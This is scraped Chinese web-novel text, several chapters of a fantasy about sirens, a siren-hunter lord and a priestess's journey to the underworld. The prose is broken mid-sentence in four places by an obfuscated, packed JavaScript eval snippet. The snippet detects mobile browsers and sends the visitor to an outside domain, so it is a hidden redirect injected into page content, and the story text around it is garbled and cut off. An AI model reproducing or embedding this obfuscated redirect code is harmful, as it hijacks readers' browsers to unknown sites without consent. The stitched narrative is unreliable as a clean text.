黑骑士休伊手里拎着一个人,同样被绑得很严实,满脸通红,一脸哀求地看着他们,恳求他们的仁慈。 卡伦很想笑,仁慈这个词语和海妖猎人一向沾不上边,他们对待敌人从无仁慈可言,如何又能期待别人对他们仁慈呢。 空马车悄无声息出现在门口,黑骑士手臂抬起,当他要进行下一步动作时,卡伦将手轻轻搭在了他的盔甲上,示意他暂停一下。 黑骑士果然停住了,以这般姿势拎着一个还算健壮的男人,他的手臂却一点儿没抖。 卡伦扯出塞在男人嘴里的布,立刻得到了男人亲切的问候,“卡伦,不,卡伦大人,求求您,放了我吧,您想要什么,我都可以满足您,只求您能放了我。” 卡伦居高临下看着他涨红的脸,恶作剧般笑了笑,“好啊,你如果愿意当场自尽的话,我就放了你。” 男人表情一僵,眼珠都要瞪出来了,然后他脸色一变,又破口大骂起来,“卡伦,你凭什么抓我,我是乌斯神官任命的海妖猎人协会代理会长,赶紧放了我,不然等我出来了,有你好看的!” 毫无力度的威胁,甚至不如蚊子让他烦心,不过他和蚊子倒是有个共同点,就是都嗡嗡地叫个不停。 卡伦慢条斯理地退开,防止男人的唾沫溅到他身上,“别挣扎了,就算你是陛下亲口任命的代理会长也没用,抓你是领主大人的命令。老实点,还能少受些苦,这辆马车会送你去那个山洞,没错,就是凯勒私自关押海妖的山洞,好好享受你的阶下囚生活吧。” 乌斯来到赫尔西岛后,代表皇室和以利亚达成了协议,将两人海妖猎人组织重新整合成海妖猎人协会。 协会的会长将由皇室直接派人担任,在这群龙无首的时期,乌斯任命了一位凯勒曾经的下属暂代会长一职。 群龙无首是他们的说法,卡伦更愿称之为乌合之众。 卡伦说完,黑骑士迅速将破布塞回了男人嘴里,一把将他扔进马车之中,拍了拍手掌。 动作行云流水,卡伦都忍不住鼓掌叫了声好。 那人被重重摔在车厢中还不消停,不停用身体撞击着车厢壁。 卡伦走过去,敲了敲车壁,笑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“自从经历了北边那些事,我倒想不出还有什么事情能让我非常惊讶。” 即使可见的视野之内连个鬼影也没有,黑骑士还是压低了声音,“我觉得,那个女人是海妖。” 卡伦挑眉,眼中有点儿惊讶,但不多,“你亲眼看见的?” 黑骑士不太满意他的反应,他加重了语气,“我看见她的眼睛变成了天空一样的蔚蓝色。” “哦,原来是眼睛。”卡伦回应得敷衍,“蔚蓝色的眼睛,看来她真的是海妖。” “你——”黑骑士更加不满了,他想说,你真的不惊讶吗,但突然有个念头冒了出来,让他话音一转,“你难道早就知道了?!” “我以前猜想过,只是今天才确认。”卡伦耸耸肩。 黑骑士难以置信地看着他,“那你为什么从来没跟领主大人提过?” 卡伦斜着眼,无奈地觑着他,“所以我昨晚说的一点儿没错,你就应该找个女人谈个恋爱。” “怎么突然说这个。”黑骑士明显慌乱了一下。 卡伦拍了拍他的肩膀,语重心长地说:“只有当你真正经历过,才能明白她们在想什么,就我们领主大人高不可攀的样子,能拿下他的女人,会是普通人吗?” “什么意思?”黑骑士茫然地问。 卡伦轻咳了两声,一本正经地答道:“意思就是,女人啊,可是很感性的,我们的领主大人,虽然长了一张招人喜欢的脸,可他总是板着一张脸,跟个冰块的似的,再热情的女人,都会被他吓跑的。所以你看,这些年,只有别有用心的女人愿意接近他,而且也坚持不下来。那个女人一出现,我就知道她也是别有用心了,只是想不到,她究竟是怀着怎样的目的来的。” “她的经历挑不出错。”顺着卡伦的话,黑骑士回想了一下这些年来出现在以利亚身边的女人,还真是,无一例外都是别有用心,有别国的细作,有皇室的暗探,有觊觎赫尔西家族财产的,然后她们都被以利亚的冷漠吓跑了。 卡伦继续说:“挑不出错才可疑呢,说明她的伪装足够好,图谋也足够大。既然你已经认定她就是海妖,你想想,海妖伪装成人类接近领主大人,是为了什么,他们可是仇敌关系,这图谋可不是够大吗?” “你早知道她不对劲,为什么不劝领主大人远离她?” 他们太过了解,以至于虽然黑骑士的神情都藏在盔甲之下,卡伦依然感受得到他正在瞪他。 他笑了笑,“领主大人铁了心要和她在一起,你都劝不动,我就能劝得了,我倒是要劝你,别去找不自在,你难道还担心领主大人的安危?” 关于米娅已经离开这事,出于一些目的,他暂且瞒了下来。 “那是海妖,不一样。” 卡伦继续拍他的肩膀,“行了,相信领主大人,他自有分寸。” 也不知道这话到底有没有用,黑骑士半晌没说话,再出声时,将话题又拉回了最初的疑问上,“我明白了,领主大人已经知道了她的身份,而且不介意她的身份,对海妖猎人的清理,就是领主大人的态度。” 68. 权杖(二) 生命之树顶端。 尤妮双腿蜷曲坐在一片硕大的树叶上,手臂环抱着膝盖,将自己缩成了一团。 生命之树发出的淡淡光芒打在她的脸上,仿佛为小巧的脸蛋披上了一层轻纱。 她的心情不太好。 自她回到奥修斯岛,已经过去了整整半个月,曾经答应她过几天就回来的米娅,始终不见踪影。 越是等待,越是不安。 她想出去找米娅。 然而这一次,迪伦无论如何也不同意。 米娅不在时,迪伦暂时接替了米娅的职责,负责保护着如今生活在无尽海海底的海妖们。 前几次,迪伦都是看在尤妮和米娅关系亲近上,才同意让她出去助米娅一臂之力,没想到尤妮竟然这么不小心,屡次三番被发现。 他不敢再冒险。 生活在海底的海妖们不敢违抗米娅的命令擅自出岛,哪怕只是在无尽海边缘晃一圈也不行。 边界清晰的无尽海为海妖一族提供了隔绝恶意的屏障,同时,也是一个醒目的靶子。 无尽海边缘布满了各个势力的哨岗和眼线,不止是人类,还有奥维伊群岛的其他生物,那些觊觎海妖力量的眼睛,不知何时就会联手攻打进来。 人类是其中最大的威胁,虽然普通人类脆弱不堪,但他们的数量实在是太多了。 蚍蜉虽小,亦可撼树。 更何况,人类中还有渡水者。 其他渡水者倒还好,毕竟渡水者在海面上力量要大打折扣。 偏偏有以利亚这么一个特殊的存在。 “迪伦这个胆小鬼!” 尤妮忍不住骂道,每个夜晚,她都会来到生命之树顶端,等待米娅回来。 前几天,她听到其他海妖谈及米娅,说米娅已经成为了以利亚的情人。 她们说:“也许,她是不想回来了,反正她一向喜欢人类。” “你们胡说!”尤妮和她们大吵了一架,不欢而散。 尤妮望着头顶的景色。 如今的奥修斯岛位于漆黑的海底,以生命之树为中心,巨大透明的屏障将整个岛屿包裹住,屏障之外是无边无际的海洋。 只有海妖可以自由穿梭于屏障内外。 她们不惧海洋,但奥修斯岛曾经是浮在海面上的岛屿,岛上的花草并不似海妖一般即使长期浸泡在水中也没关系。 “尤妮!”迪伦的声音突然从树叶下方响起,片刻之后,青年海妖跃上了树叶,“我就知道你在这里,快跟我下去,圣水干涸了。” “什么?!” 尤妮一下跳了起来,再也顾不得其他,和迪伦一起来到生命之树的树根处。 所谓圣水,即是树根处池塘中的池水。 奥修斯岛的上方不会下雨,池塘中也不会自行蓄起水流,这些圣水,都是生命之树刚刚长成之时,采集到的树汁,蕴含着海神的力量。 从那之后,生命之树再没有树汁流出来。 圣水的作用是辨别海妖与神明力量的契合程度,也就是说,海妖一族的每一代祭司,都必须经过圣水的认可。 尤妮呆呆地望着几步之外的池塘,使劲揉了揉眼睛。 她没有看错,本该盛满圣水的池塘里,是空的,凹凸不平的池壁头一次在她面前露出了真面目。 一点儿也不神圣,像一个小坑。 虽然在代代相传的故事里,它本来就是生命之树的第一颗果实掉落到地上砸下的坑,但传说归传说,大家还是会在心底美化,自认为就算是坑,也该是个平整精美的坑。 在她身后,是听到消息聚集而来的海妖。 不安与焦虑在他们的脸上散播,圣水的意义如此重大,以至于他们都不敢相信眼前看到的一切。 “我们……被神明抛弃了吗?” 繁杂的议论之中,尤妮听到了一声绝望的疑问,她和迪伦几乎同时转过头去,向着那个声音的方向说道:“别胡说!” 那是一个年轻的海妖,看样貌不过人类十四五岁的样子,青涩稚嫩的脸因尤妮和迪伦的喝止而涨得通红。 这种年纪的孩子,正是叛逆的时候,被这么一吼,反倒更不服气。 他一把推开挡在身前的海妖,边走边说:“我哪有说错,人类捕杀我们的时候,你们难道没有在心底祈祷过,希望海神大人能出现吗,结果呢,失去了这么多同胞,海神大人从来没有出现过,只降下了一个似是而非的神谕,最后,我们只能待在海底苟延残喘。” 他越说越激动,越说声音越大,将其他海妖的声音都盖了过去。 一时间,鸦雀无声,少年的声音回荡在生命之树下,向每一只海妖发出诘问。 迪伦和尤妮沉默下来。 祭司是海妖与神明之间沟通的桥梁,他们又离米娅最近,比其他海妖更清楚,少年说的没错。 神明已经多年不曾回应他们的祈祷。 从前,圣水的存在还能压制住这一念头,让他们心中仍有希望,神明并未抛弃海妖,祂一定会回来。 现在……连圣水都突然之间干涸了。 寂静过后,渐渐有别的声音附和少年,然后这些声音越来越大,越来越多。 绝望的神情在海妖中蔓延,坚信被神明庇护的海妖们,来到了最艰难的时刻,终于意识到神明的缺席。 无助和痛苦情绪蔓延开来。 啜泣声慢慢响起。 尤妮有些不知所措,说到底,她也不过是个不谙世事的少女。 在她的记忆中,经历了那么多伤痛的同族们,从没像此刻一般绝望过,哪怕是在伤亡最惨重的时候,他们也是积极乐观的。 “米娅在哪里?” “对,她为什么还没有回来?” 不知是谁喊了一声,悲戚的海妖们顿时将他们的绝望调转,转而质疑起米娅的决定,水面下的暗流涌动,在此刻摆在了明面上。 当她最初将奥修斯岛沉入海底之时,就有接近一半的海妖不同意这个决定,他们认为不应该向人类示弱。 只是后来米娅说出了她的计划,她要以一己之力改变这一局面,海妖们的疑虑才暂且放下。 只是这时间也太漫长了些,已经过去了三年多,他们仍然生活在海底。 习惯了生活在阳光下的海妖们,即使并不排斥海底的生活,依然渴望着回到曾经的天幕之下,自由自在地飞翔在天空中。 迪伦有些无奈,他站出来,“现在不是说这个的时候——” “我回来了。” 就在这时,一道熟悉的声音突然响了起来。 迪伦和尤妮惊喜地抬头望去,只见修长婀娜的身影站在生命之树的树枝上,手扶着树干,低头望着聚集在树根之处的海妖们。 她显然刚从外面回来,卷曲的长发湿漉漉的,紧紧贴在脸侧,一袭蓝色的长裙勾勒出迷人的身姿,几乎与身后深蓝色的大海融为一体。 她展开双翼,从树枝上飞了下来,羽翼扇动起强大的气流,吹得生命之树晶莹剔透的叶片沙沙作响。 米娅落到地面上,脚正好踩在池塘的边缘,她背对着众海妖,看向池塘底部,羽翼在背后舒展开,挡住了海妖们的视线。 歌声是海妖力量的源泉,而羽翼是海妖力量的展现。 面对年轻祭司愈发华丽的羽翼与锋利的羽毛,海妖们纷纷噤了声,他们大气也不敢喘一下,屏住呼吸望着米娅的背影,先前的群情激愤顿时荡然无存。 米娅看了很久,谁也不知道她在想些什么,哪怕是离她最近的迪伦和尤妮,他们也只能看见她沉静的侧脸。 她的脸上没有惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说着,奥修斯岛开始震颤,生命之树的树叶剧烈抖动起来,惊骇的海妖们纷纷展翅飞至空中,看着周围的一切都在猛烈地摇晃。 “这是怎么了?” “难道岛要沉了?” 可是奥修斯岛已经沉在海底了,还能怎么继续下沉? 带着巨大的疑惑,他们注意到米娅还留在地面上,地面的震荡之中,她的长发如同漂浮在海水中,微微浮起。 淡蓝色的光芒从生命之树的根部溢出,似一条条绸带,缠绕在她的身上。 与此同时,海妖们终于察觉到了震荡的来源,不是奥修斯岛将要继续下沉,而是—— 它正在上升,从漆黑的海底不断向上,像一只巨大的鲨鱼看到了浮在海面上的猎物,直直地冲了上去。 周遭的海水以肉眼可见的速度从漆黑变成深蓝色,然后又变成蔚蓝色,阳光终于穿过了海面,照射在生命之树发光的叶片上。 哗啦一声,从树顶开始,海水从中间分开,屏障悄然消失,许久不见天日的奥修斯岛,又重新回到了海平面之上。 这是一个阳光明媚的午后。 炽盛的骄阳悬挂在高天之上,万里无云,蔚蓝的天空比他们的眼睛还要明亮。 不顾阳光的刺眼,海妖们纷纷抬头望向了太阳的方向,泪水出现在他们的眼眶之中,不知道是激动,还是因为阳光。 “从今以后,没有了神明庇佑,再遇到任何事情,都只能靠我们自己了。奥修斯岛不再需要祭司,将奥修斯岛从海底升起,也已经耗费掉来自圣水的最后一点儿神力,我会卸任海妖祭司一职。” 虚弱的声音在每一个海妖的脑海中响起,他们低头看去。 只见蓝色的光点从树根处渐渐消散,米娅跪坐在地上,随着光芒的消失,她就像失去了依托一样,倒在了地上。 “米娅姐姐!” 迪伦和尤妮最先发现她的异样,他们冲了过去,尤妮将米娅抱起来,感觉到她微弱的呼吸,着急地呼唤道。 69. 权杖(三) 米娅觉得自己好像在做梦。 她浑浑噩噩地穿过了一道又一道门扉,路过一个又一个半透明的影子,甚至淌过了一条浑浊不堪的河流,来到了一座白色的宫殿面前。 她光着脚,脚掌踏进宫殿内部的时候,一股和死亡如出一辙的阴冷气息从脚底钻了进来。 像踩在冰块上。 然后她“醒”了过来,视野内模糊的景象逐渐变得清晰,廊柱上精美的浮雕,窗户上彩绘的玻璃,还有穹顶上的画像。 毫无疑问,她就在一座陌生的宫殿中。 周围很热闹,很多她也不知道是什么的生物在她身边围成了一个圈,叽叽喳喳地说话。 “真的是她吗?” “没错,没错,我见过她。” “怎么变成海妖了?” “听说……” “……” 它们在谈论自己,说着奇奇怪怪的语言,但她居然能听懂大半。 米娅对其中几只奇形怪状的生物感到熟悉,仔细回想了一下,记起了在哪里见过。 冥界。 怎么回事? 她明明记得,她在奥修斯岛上,用尽力气控制奥修斯岛的上升速度,最后奥修斯岛升上海平面时,她因为脱力眼前一黑。 怎么就到冥界来了? 难道她已经死了吗? “尊敬的米娅女士,您好,许久不见,您还是这么美丽。”一个声音从外面响起,奇形怪状的生物们自动分成两列,白马扬着头,步态悠闲地走到了她面前。 那双大眼睛忽闪忽闪,无辜地盯着她。 米娅一脸警惕,“我怎么会在冥界?” “哦,请别担心,是我通过您的梦境,引导您的灵魂进入冥界的,您并没有死亡,只是暂时陷入了沉睡。” “灵魂?” 米娅低头看去,发现她也是半透明的。 “我不是不能待在冥界太久吗?” 上次的情况她还记得。 “请放心,您的肉身受到冥界的排斥,但灵魂不会,待上多久也不成问题。”米娅双臂抱于胸前,正要发问,白马似乎知道她想说什么,又说,“回去之后,也不会对您有任何影响。” “待上多久也没关系,看来,你是不打算很快送我回去了……直说吧,你的目的是什么?怎样才肯送我回去?” “您真聪明。”白马赞叹。 米娅嘴角抽了抽,怎么听着像讽刺。 她打算过去跟白马好好理论一番,刚走了两步,想到自己既然是灵魂状态,心念一动,竟真的飘了起来。 和展翅飞翔很不一样的感觉,全身都很轻盈。 她飘到白马面前,眼神不善地看着它。 白马悠悠叹了一口气,“其实,是冥界出了一些事,我们想找以利亚大人帮忙,可是冥界生物一出冥界就会灰飞烟灭,我们只能通过梦境的短暂连接来传递消息。” “那你们直接找他不就好了。”米娅没好气地说。 提到以利亚,她有些不耐烦。 白马委屈道:“以利亚大人不会做梦,我们也尝试了通过他身边的那些人联系他,但他好像不愿意来冥界。” 米娅气笑了,“所以你们就想到了我?你们凭什么觉得他会为了我来冥界?我们已经……分开了。” 离她最近的冥界生物忍不住说:“当然因为您是——” 白马瞪了它一眼,它赶紧闭嘴。 “我是什么?” “您是海妖啊。”白马振振有词。 一听就是敷衍,她又看向其它冥界生物,全都闭紧了嘴巴,噤若寒蝉。 白马上前一步,承诺道:“一个月后,不管以利亚大人有没有出现,我一定送您出去。” … 米娅走出宫殿,冥界的天还是这么灰暗。 宫殿左侧,一道看不到尽头的瀑布从天幕上滚滚落下,水流落到地面,汇成一条暗色的河流。 原来这里就是冥河的起源。 白马从宫殿里追出来,“这些日子,就让我待在您身边吧,冥界的暗处潜藏着许多危险,您单独行动不安全。” “随便。”米娅没拒绝,白马强行将她拖进来,保证她的安全是应该的。 白马讨好地笑:“您想先去哪儿呢,冥界很大,需不需要我为您介绍?” 去哪儿? 米娅看着眼前的冥河,想到了上一次的情景,“冥界之主在哪里,我想去见他。” 白马笑容顿时消失,垂下脑袋。 米娅从它那张马脸上竟然看到了失落的情绪。 它说:“主人已经抛弃我们了。” 似曾相识的画面,米娅一怔,下意识说道:“我们倒是同病相怜,海神也离开了海妖一族。” “咦,原来您还不知道吗?”白马疑惑地抬起头,水汪汪的大眼睛盯着她,“这是当然的,我们的主人和您所信奉的神明,其实是同一位主神。” 米娅:“……?” 白马解释道:“您应该知道,混沌之后的生命都诞生于原始之海中,原始之海其实是海神的神器,和生与死有密不可分的关系。最初,生命死亡之后,灵魂无所归处,只能在大地间游荡,海神于是创造出冥界,为死亡建造归处,同时也作为轮回的起点。” 米娅沉默了很久。 世界上第一只海妖诞生于两千五百年前,比绝大多数生物包括人类的历史都要短暂。 她们只知道自己是海神的造物,以及海神是三位创世神之一。 据说在最初的那段时光,海神还会与海妖祭司有对话,但是后来,变成了降下只言片语的神谕,再后来,甚至直接失去了联系。 直到此刻,米娅突然意识到,她们对海神知之甚少。 “祂……去了何处?” 米娅唯一一次收到神谕,是在回奥修斯岛的路上。 她在海水中前行,鱼群挡在了身前,组成扭曲的图案,她不明所以停下,一道声音忽然出现在脑海中。 声音消失之刻,她遗忘了那是怎样一种声音,只记得内容。 神明离开了。 “好像是另一个世界之类的。”白马不想在这个令马伤心的话题上纠缠,一笔带过,“以利亚大人知道的肯定比我多,到时候您去问他吧。” “他不会来的。”米娅冷冷道。 白马想反驳,一看她的表情,识趣没说话。 接下来的数天,在白马的陪同下,米娅沿着冥河一路前行。 白马说,蜿蜒的冥河将冥界分为了五块区域。 以宫殿为起点,分别是接纳新亡灵的归者之墟,进行审判的回环镜庭,洗涤罪孽的熔炉火山,等待转生的叹息长廊,以及亡灵最终的归宿——轮回之眼。 归者之墟是一片荒芜的原野,也是上一次米娅在冥界停留的地方。 冥河在宫殿附近蓄起一片湖泊,湖泊随时都在沸腾,每一个翻涌而起的水泡,都是一个新形成的亡灵。 水泡落到岸上时,就开始了它的轮回之旅。 它会沿着冥河一直往前走,穿过遍布冥界生物的归者之墟,到达无数面镜子组成的回环镜庭。 “镜庭也是我们工作的地方。”白马驮着米娅飞翔在回环镜庭上方,“亡灵在这里直面自己的一生,镜子会作出选择,通过者乘船前往叹息长廊,不通过者被投入熔炉火山,每十年再从熔炉火山回到镜庭重新接受审判。在归者之墟行走的过程中,亡灵往往会对冥界有大致的了解,它们会十分抗拒前往熔炉火山,其中一些还保存着生前的部分力量,就会在镜庭引起骚动。我们的职责,就是维护镜庭的秩序。” “通过和不通过,是由什么决定的?”米娅问。 “我也不知道,不过一般而言,按照人类的标准罪孽深重者,大多被投入了熔炉火山。”白马静静地说。 罪孽深重。 真是模糊的标准。 米娅不禁想知道,“如果我现在下去,会是什么结局?” 白马认真想了想,“您现在是灵魂状态,镜子应该会作出回应,通过与否,我也不能确定。” “是么,我还真想试一下。” “哈哈,您别开玩笑了……”它感觉到背上的重量一轻,骤然失声,低头一看,一道白色的影子正向回环镜庭坠去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195167|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它四条腿一蹬,用尽最大的力气,像一道闪电一样飞了过去,接住那道影子,心有余悸地大叫道:“别别别……这种玩笑开不得啊。” 米娅笑起来,“如果我真被投进了熔炉火山,你们将我带出来不就好了?” 被吓了一跳之后,白马语速快了许多,“不是这样的,熔炉火山那种地方,不受我们的控制,只有神明才能从里面带人出来。” 米娅“哦”了一声,话音一转,“说到神明,天空之劫不是陨落了很多神明吗,祂们也会经历这一系列的过程吗?” 白马表示肯定,“这是自然,海神大人创造的冥界,囊括创世后出现的一切生物,祂们也不例外。” “那以利亚呢?” 图穷匕见。 “啊……以利亚大人自然不在其列。” 米娅睨着它笑,“因为他就是伊瑟尔?” 白马驮着她落到归者之墟与回环镜庭的交界处,将她放回地面。 一转头,看见她略带探究的笑,一头雾水的同时,还是老老实实地回答说:“是的,其实吾主也一直想弄清楚,以利亚大人是如何转世的。” “你说,如果他这一世又死了,还会再转世吗?”米娅不经意间悠悠问道。 “应该会吧。”白马点点头,随后又摇了摇头,“也不一定,这一世以利亚大人也不知道会以人类还是神明的身份死去,万一——” 白马的声音停住了,它猛地瞪大了眼睛,结巴起来,“您、您、您,您已经知道了?” 米娅语气平静,“知道什么?知道他快死了么?或者说,知道他主动选择了死亡?” 在羽毛笔的帮助下,十一年前的记忆复苏,她知道了自己失忆的真相,是她所猜想的受神力影响,却不是她以为的那位神祇。 伊瑟尔,以利亚的前世。 祂将自己的心脏作为了世界的基石。 两百多年前,不知为何,祂自天空陨落,带来天空之劫的同时,祂的心脏也自地心遗失。 失去基石的地心最多支撑两百年,如今,已经到了抉择的时刻。 白马的沉默等同默认。 米娅还猜到,那颗失踪的心脏,就是她根据梦的指引找到的那颗心脏,在回忆中,心脏从生命之树的树干中消失了。 可是她明明记得,她来到赫尔西岛之前,还见过那颗心脏。 这次回奥修斯岛,最大的原因是无尽海发生的变故,但某个瞬间,她也想知道,心脏究竟还在不在。 可惜还没等她去看一眼,就先被拉到了冥界来。 不过,也不用去证实了。 她已经知道答案。 “为什么要瞒着我呢?”米娅低声问道。 白马也不知道该怎么回答,看到她的神情,又觉得她其实不是在问自己,更加不知道说什么了。 米娅回想起那个时候,她知道了十一年前以利亚离开的真相后,羽毛笔的反应。 “你倒是说句话啊。”羽毛笔飞来飞去,不安地叫道。 她的反应和它想的完全不一样。 好不容易想起当年的事,知道对方不是故意弃自己而去,难道不应该重归于好,从此再无任何隔阂与争吵吗? 戏剧里都是这么演的。 可是为什么米娅一句话也不说,态度与找回记忆前没什么区别。 “你想让我说什么?”米娅坐在椅子上,神情冷漠地看了眼羽毛笔,她心里很清楚它在想什么,如果是十一年前的自己,大概会如它所想,可是现在—— 十一年,于人类而言太过漫长,于海妖,也不是可以忽略不计的时光。 她早已不再是那个冲动又天真的少女。 “祂不是说要消除我关于以利亚的记忆吗,为什么我还会记得有这么个人?”她反过来咄咄逼问。 羽毛笔委屈地说:“直接全部消除的话,记忆会出现一段很明显的空白,太可疑了,不如一点一点忘记关键的部分。” 先是救罗尔的这段记忆,然后是以利亚的长相、名字,最后再是一些可能会透露他真实身份的细节。 米娅冷笑一声,“你做的可真好。” 70. 权杖(四) 来到冥界的二十天后,米娅明显感觉到宫殿里那群冥界生物的耐心逐渐耗尽。 它们看她的眼神越来越奇怪。 米娅想了很久,终于想起来在谁身上见过那种眼神。 人类世界里,饿得皮包骨头的流浪狗看到掉在地上的食物时,就是这种眼神。 它们想吃了她。 是真的吃,吃肉喝血的吃。 白马说:“这很正常,土生土长的冥界生物将灵魂视作一种美味的食材,越强大的灵魂,在它们看来越美味。” 它们会说话,能沟通,也懂基本的礼仪。 但理智始终压不住本能的欲望。 白马还说,以前有只冥界生物吞下了一位强大的巫师的灵魂,结果消化不良,巫师直接划破了它的肚皮走了出来。 当时的场面很血腥,白马现在说起来还想吐。 “你不是冥界生物吗?”米娅好奇,白马好像从来没有对她露出过那种表情,但白马的烦躁也与日俱增,米娅时常能看见它用前蹄刨地。 “咦,我没有说过吗,我来自天马一族,从混沌时起就跟在海神身边。” “天马?没听说过。” 白马有点儿无奈,“也对,天马一族在混沌时就只剩我一个了,创世之后,连记载也没留下,您肯定没听到过。” 又是混沌。 伊瑟尔和她所信奉的神明在混沌中诞生,然后劈开混沌创世,天上的太阳是混沌凶兽的心脏所化。 现在,就连这匹白马也是混沌中的生物。 “给我讲讲吧,除了你,混沌中还有哪些生物?” 她已经将冥界转了个遍,冥界和人间有许多不同,又有很多相同,看得多了,新鲜感褪去,也没什么意思。 她早就感到无聊了。 “这该从何说起呢,哦,我知道了,就从吾主说起吧……” 天马一族其实是没有族名的,天马这个名字,是白马后来模仿人类的命名习惯,自己给取的名字。 至于它自己,取这个族名已经绞尽脑汁,它果断放弃给自己取名,别人爱怎么叫就怎么叫,它照单全收。 它出生在两万年前,距离创世还有一万年的时刻。 它的父亲是一匹黑马,它的母亲是一匹红马。 它的父母说,混沌中没有光,但是它们天马的皮肤可以发光,于是天马一族时常遭到猎杀取皮,到现在只有它们三个了。 这话说完不久,它的父母也死了,死于一位混沌杀神之手。 “如果活到现在,他应该也算神明吧。” 混沌中有很多生物,按照现在的标准,大部分都长得奇形怪状,有些没有脑子,只知道吃吃吃,有些没有手和脚,移动方式是滚来滚去。 还有些形态可以自由变换,比如米娅曾听说过的忒菲。 其中也有长得像人的,应该说,是人类长得像他们。 毕竟人类是后来创世神之一的维里希斯根据祂们捏塑的。 扯远了。 白马继续说它以前的经历,那杀神嫌它太小,想养大了再杀,一直把它带在身边。 结果没多久,他们遇到了奥洛。 当时虽然没有神明这一说法,但奥洛在很多混沌生物之中,有着神明一样的地位。 传说他的寿命跟混沌一样漫长,传说他是混沌中最厉害的,传说……传说很多,白马也不知道真假,只知道杀死它父母的杀神不自量力去挑战奥洛,瞬息间就被秒了。 白马从此赖上了他,不仅因为他帮自己报了仇,也因为他看不上天马一族的特殊之处。 奥洛对它不闻不问,好几次,它都差点儿跟丢了。 直到某一天,他们遇到了维里希斯,维里希斯夸它可爱,同情它的遭遇,那之后,奥洛才默认了它的存在。 “……维里希斯……祂是另一位创世神吗?” 米娅忍不住打断了白马的讲述。 听到这个名字,她总感觉心脏有点儿疼,说出这个名字来,也很不容易。 白马点点头,怀念道:“祂是最温柔的神明,祂让陆地从海水中升起,也是人类真正的母亲。” “她现在在哪儿?” 维里希斯,维里希斯…… 只是念叨着这个名字,她就感觉到了难以承受的压抑,就像胸口被撕开了个窟窿,冥界阴冷的风还在不断地刮过。 “祂已经失踪了,吾主找了祂很久。” 白马还没发现米娅的异样,听到她用断断续续地声音转移话题,“还是继续刚才的话题吧,你跟着奥洛,然后呢?” “然后……” 那时的混沌很乱,它也看不懂到底在乱什么,但就是很乱,无序的混乱让混沌中时时刻刻都在厮杀。 它这副发光的皮囊就像现在的灯塔,吸引着无数混沌生物前来。 有的看见它的主人是奥洛就退缩了。 有的和它的仇人一样不自量力,结果也一样。 日子枯燥乏味,只有维里希斯出现时,才会多一抹光彩,祂的笑容是它生命中最亮的一道光,祂强大又温柔,如无必要,从不出手伤害他人。 祂…… “停!”米娅不得不再次打断它,一提到维里希斯,它就恨不得把平生所有赞美的话都堆上去,但这并不是米娅想听的,“要不我直说了吧,我想知道伊瑟尔的情况。” 白马心虚地“哈哈”了两声。 “不是我不想说,是我知道的真的很少。” 混沌很大,至少比现在的奥维伊群岛大得多,但再大的地方,经历个几千几万年,全是群不作死就不会死的超长寿生命,彼此也熟悉起来了。 其中奥洛和维里希斯绝对是最有名的两个,祂们太强大了,强大到只是说出祂们的名字,就足够让人瑟瑟发抖。 可是伊瑟尔始终默默无闻。 祂一直隐居在混沌的边缘,似乎不想介入混沌这些无序的纠纷中。 祂在创世前走出了隐居之地。 不久后,白色的光芒从混沌中心迸发,照亮了整个混沌,所有的混沌生物,都在这道白光中,消失不见。 然后大海降临,生命诞生,陆地隆起,天幕垂下。 白马只是睡了一觉,再睁眼时,就到了冥界。 主人说,它再也不能出去冥界。 它没有不甘,只要能够待在主人和维里希斯身边,它就觉得满足。 后来,他从窥探人世的镜子中知道了创世后的景象。 它看到各种生物在大地上奔跑,它们是那么的弱小,却又那么的生机勃勃,它看到了人类,看到维里希斯对最初的人类的呵护。 它还看到一座浮空的岛屿,看到一个个灵魂在陌生的身影注视下化作众神,众神纷纷尊称那位陌生的身影为神主。 后来它知道,那个身影是伊瑟尔。 “以前,神主只来过冥界一次,我和祂只说过两句话。” 老实说,白马有些怕祂。 混沌中的一切都很冷。 不管是那些已经消失了的混沌生物,还是奥洛、维里希斯,包括白马自己,低温能维持他们在混沌中更自如地行走。 即便如此,伊瑟尔仍然是白马见过的最冷的一个。 尤其是祂看它的眼神,好像它不应该存在于这个世界上一样。 天知道当时跟祂说那两句话让它紧张了多久。 “我看你跟以利亚说话不是挺自在的吗?”米娅调侃它。 “以利亚大人还是不太一样,他……更像人类一点儿。” “是么。” 米娅呵呵笑了,或许十一年前奥修斯岛上那个以利亚的确如此,可是现在的以利亚和慕斐岛上那个神明,在她看来差别已经很小了。 “你是不是该送我回去了?”提及以利亚,米娅话音一转。 白马无辜地看着她,“这不是才二十天吗?” 米娅冷笑,“应该说,已经二十天了,还不明白吗,他不会出现。” 白马很不明白,“您为什么如此悲观呢,您不是已经知道十一年前的真相了吗?” 米娅的脸一沉,“在你们看来,我知道了真相,应该怎么做?” 白马不敢说话。 米娅也猜得到,无非就是像羽毛笔想的那样。 他们都觉得,她是因为这些年海妖一族的经历才不愿与以利亚和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 